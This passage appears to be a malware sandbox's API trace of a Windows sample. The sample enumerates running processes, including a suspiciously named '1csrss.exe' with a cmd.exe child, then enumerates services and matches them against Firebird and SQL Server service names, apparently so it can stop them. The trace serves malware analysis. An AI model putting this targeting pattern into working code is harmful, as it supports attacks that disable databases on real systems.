cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.587] lstrlenW (lpString="dwm.exe") returned 7 [0275.587] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.588] lstrlenW (lpString="svchost.exe") returned 11 [0275.588] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.589] lstrlenW (lpString="svchost.exe") returned 11 [0275.589] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.589] lstrlenW (lpString="svchost.exe") returned 11 [0275.589] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.590] lstrlenW (lpString="svchost.exe") returned 11 [0275.590] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.591] lstrlenW (lpString="svchost.exe") returned 11 [0275.591] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.591] lstrlenW (lpString="svchost.exe") returned 11 [0275.591] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.592] lstrlenW (lpString="svchost.exe") returned 11 [0275.592] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.595] lstrlenW (lpString="svchost.exe") returned 11 [0275.595] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.596] lstrlenW (lpString="svchost.exe") returned 11 [0275.596] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.596] lstrlenW (lpString="svchost.exe") returned 11 [0275.596] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.597] lstrlenW (lpString="spoolsv.exe") returned 11 [0275.597] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0275.598] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0275.598] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0275.598] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0275.598] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0275.599] lstrlenW (lpString="Memory Compression") returned 18 [0275.599] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.600] lstrlenW (lpString="svchost.exe") returned 11 [0275.600] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.600] lstrlenW (lpString="audiodg.exe") returned 11 [0275.600] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.601] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0275.601] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0275.601] lstrlenW (lpString="sihost.exe") returned 10 [0275.602] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.602] lstrlenW (lpString="svchost.exe") returned 11 [0275.602] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0275.603] lstrlenW (lpString="taskhostw.exe") returned 13 [0275.603] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0275.603] lstrlenW (lpString="msoia.exe") returned 9 [0275.604] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.604] lstrlenW (lpString="explorer.exe") returned 12 [0275.604] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0275.605] lstrlenW (lpString="SearchUI.exe") returned 12 [0275.605] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0275.605] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0275.605] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0275.606] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0275.606] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0275.607] lstrlenW (lpString="1csrss.exe") returned 10 [0275.607] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.607] lstrlenW (lpString="svchost.exe") returned 11 [0275.607] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0275.608] lstrlenW (lpString="cmd.exe") returned 7 [0275.608] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0275.609] lstrlenW (lpString="conhost.exe") returned 11 [0275.609] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0275.609] CloseHandle (hObject=0x3ac) returned 1 [0275.609] Sleep (dwMilliseconds=0x1f4) [0276.222] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x71ec28 [0276.222] EnumServicesStatusExW (in: hSCManager=0x71ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0276.223] GetLastError () returned 0xea [0276.223] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x737f08 [0276.223] EnumServicesStatusExW (in: hSCManager=0x71ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x737f08, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x737f08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0276.223] CloseServiceHandle (hSCObject=0x71ec28) returned 1 [0276.224] lstrlenW (lpString="AppXSvc") returned 7 [0276.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0276.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0276.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0276.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0276.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0276.224] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0276.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0276.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0276.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0276.224] lstrlenW (lpString="Audiosrv") returned 8 [0276.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0276.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0276.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0276.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0276.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0276.224] lstrlenW (lpString="BFE") returned 3 [0276.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0276.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0276.224] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0276.224] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0276.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0276.224] lstrlenW (lpString="BITS") returned 4 [0276.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0276.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0276.224] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0276.224] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0276.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0276.225] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0276.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.225] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0276.225] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0276.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0276.225] lstrlenW (lpString="CDPSvc") returned 6 [0276.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0276.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0276.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0276.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0276.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0276.225] lstrlenW (lpString="ClickToRunSvc") returned 13 [0276.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.225] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0276.225] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0276.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0276.225] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0276.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0276.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0276.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0276.225] lstrlenW (lpString="CryptSvc") returned 8 [0276.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0276.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0276.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0276.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0276.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0276.225] lstrlenW (lpString="DcomLaunch") returned 10 [0276.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0276.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0276.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0276.226] lstrlenW (lpString="DeviceAssociationService") returned 24 [0276.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0276.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0276.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0276.226] lstrlenW (lpString="Dhcp") returned 4 [0276.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0276.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0276.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0276.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0276.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0276.226] lstrlenW (lpString="Dnscache") returned 8 [0276.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0276.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0276.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0276.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0276.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0276.226] lstrlenW (lpString="DPS") returned 3 [0276.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0276.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0276.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0276.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0276.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0276.226] lstrlenW (lpString="DusmSvc") returned 7 [0276.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0276.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0276.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0276.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0276.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0276.227] lstrlenW (lpString="EventLog") returned 8 [0276.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0276.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0276.227] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0276.227] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0276.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0276.227] lstrlenW (lpString="EventSystem") returned 11 [0276.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0276.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0276.227] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0276.227] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0276.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0276.227] lstrlenW (lpString="FontCache") returned 9 [0276.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0276.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0276.227] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0276.227] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0276.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0276.227] lstrlenW (lpString="gpsvc") returned 5 [0276.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0276.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0276.227] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0276.227] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0276.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0276.227] lstrlenW (lpString="iphlpsvc") returned 8 [0276.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.227] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0276.227] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0276.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0276.227] lstrlenW (lpString="KeyIso") returned 6 [0276.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0276.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0276.228] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0276.228] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0276.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0276.228] lstrlenW (lpString="LanmanServer") returned 12 [0276.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0276.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0276.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0276.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0276.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0276.228] lstrlenW (lpString="LanmanWorkstation") returned 17 [0276.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0276.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0276.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0276.228] lstrlenW (lpString="lfsvc") returned 5 [0276.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0276.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0276.228] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0276.252] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0276.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0276.252] lstrlenW (lpString="lmhosts") returned 7 [0276.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0276.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0276.252] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0276.252] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0276.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0276.252] lstrlenW (lpString="LSM") returned 3 [0276.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0276.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0276.252] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0276.252] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0276.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0276.252] lstrlenW (lpString="MpsSvc") returned 6 [0276.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0276.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0276.252] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0276.252] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0276.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0276.252] lstrlenW (lpString="NcbService") returned 10 [0276.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0276.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0276.252] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0276.252] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0276.252] lstrcmpiW 